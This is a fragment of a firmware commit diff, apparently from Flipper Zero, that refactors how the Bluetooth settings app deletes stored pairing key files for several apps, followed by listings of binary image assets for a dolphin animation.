||||
|
||||
// App alloc
|
||||
|
||||
@@ -1,8 +1,6 @@
|
||||
#include "../bt_settings_app.h"
|
||||
#include <furi_hal_bt.h>
|
||||
#include <applications/main/bad_kb/bad_kb_paths.h>
|
||||
#include <applications/external/hid_app/hid_path.h>
|
||||
#include <applications/external/totp/workers/bt_type_code/bt_type_code.h>
|
||||
|
||||
void bt_settings_scene_forget_dev_confirm_dialog_callback(DialogExResult result, void* context) {
|
||||
furi_assert(context);
|
||||
@@ -35,12 +33,16 @@ bool bt_settings_scene_forget_dev_confirm_on_event(void* context, SceneManagerEv
|
||||
bt_keys_storage_set_default_path(app->bt);
|
||||
bt_forget_bonded_devices(app->bt);
|
||||
|
||||
// also remove keys of badkb and bt remote
|
||||
// also remove keys for apps
|
||||
const char* keys_paths[] = {
|
||||
BAD_KB_KEYS_PATH,
|
||||
EXT_PATH("apps_data/hid_ble/.bt_hid.keys"),
|
||||
EXT_PATH("apps_data/totp/.bt_hid.keys"),
|
||||
};
|
||||
Storage* storage = furi_record_open(RECORD_STORAGE);
|
||||
storage_simply_remove(storage, BAD_KB_KEYS_PATH);
|
||||
storage_simply_remove(
|
||||
storage, EXT_PATH("apps_data/hid_ble/") HID_BT_KEYS_STORAGE_NAME);
|
||||
storage_simply_remove(storage, TOTP_BT_KEYS_STORAGE_PATH);
|
||||
for(size_t i = 0; i < COUNT_OF(keys_paths); i++) {
|
||||
storage_simply_remove(storage, keys_paths[i]);
|
||||
}
|
||||
furi_record_close(RECORD_STORAGE);
|
||||
|
||||
scene_manager_next_scene(app->scene_manager, BtSettingsAppSceneForgetDevSuccess);
|
||||
|
||||
|
Before Width: | Height: | Size: 171 B After Width: | Height: | Size: 171 B |
|
Before Width: | Height: | Size: 305 B After Width: | Height: | Size: 305 B |
|
Before Width: | Height: | Size: 7.7 KiB After Width: | Height: | Size: 7.7 KiB |
|
Before Width: | Height: | Size: 4.9 KiB After Width: | Height: | Size: 4.9 KiB |
|
Before Width: | Height: | Size: 4.9 KiB After Width: | Height: | Size: 4.9 KiB |
|
Before Width: | Height: | Size: 158 B After Width: | Height: | Size: 158 B |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_0.png
vendored
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_1.png
vendored
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_10.png
vendored
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_11.png
vendored
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_12.png
vendored
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_13.png
vendored
Normal file
|
After Width: | Height: | Size: 1.2 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_14.png
vendored
Normal file
|
After Width: | Height: | Size: 968 B |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_15.png
vendored
Normal file
|
After Width: | Height: | Size: 971 B |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_16.png
vendored
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_17.png
vendored
Normal file
|
After Width: | Height: | Size: 1.1 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_18.png
vendored
Normal file
|
After Width: | Height: | Size: 1.0 KiB |
BIN
assets/dolphin/external/L2_Coding_in_the_shell_128x64/frame_19.png
vendored
Normal file
|
After Width: | Height: | Size: 1.1 KiB |